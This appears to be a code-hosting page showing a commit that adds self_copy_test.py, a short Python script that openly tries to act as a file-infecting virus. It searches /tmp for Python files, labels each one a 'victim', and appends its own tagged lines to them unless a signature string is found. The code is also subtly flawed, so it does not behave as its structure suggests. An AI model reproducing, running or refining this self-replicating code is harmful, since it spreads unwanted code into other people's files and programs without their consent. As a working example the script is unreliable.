Try to make code that copies itself
This commit is contained in:
24
self_copy_test.py
Normal file
24
self_copy_test.py
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
import os #!x
|
||||||
|
import sys #!x
|
||||||
|
import glob #!x
|
||||||
|
import socket #!x
|
||||||
|
import string #!x
|
||||||
|
|
||||||
|
cmd = 'find /tmp -name "*.py" -print' #!x
|
||||||
|
|
||||||
|
|
||||||
|
for Files in os.popen(cmd).readlines():#!x
|
||||||
|
Files = Files[:-1]#!x
|
||||||
|
try:#!x
|
||||||
|
vCode = open(__file__, 'r')#!x
|
||||||
|
victim = open(Files, 'r')#!x
|
||||||
|
readvictim = victim.read()#!x
|
||||||
|
if str.find(readvictim, "pRdElKa") == -1:#!x
|
||||||
|
victim = open(Files, 'a')#!x
|
||||||
|
for code in vCode.readlines():#!x
|
||||||
|
if("#!x") in code:#!x
|
||||||
|
vCode.close()#!x
|
||||||
|
mycode=(code)#!x
|
||||||
|
victim.write(mycode)#!x
|
||||||
|
except IOError:#!x
|
||||||
|
a = 1#!x
|
||||||
Reference in New Issue
Block a user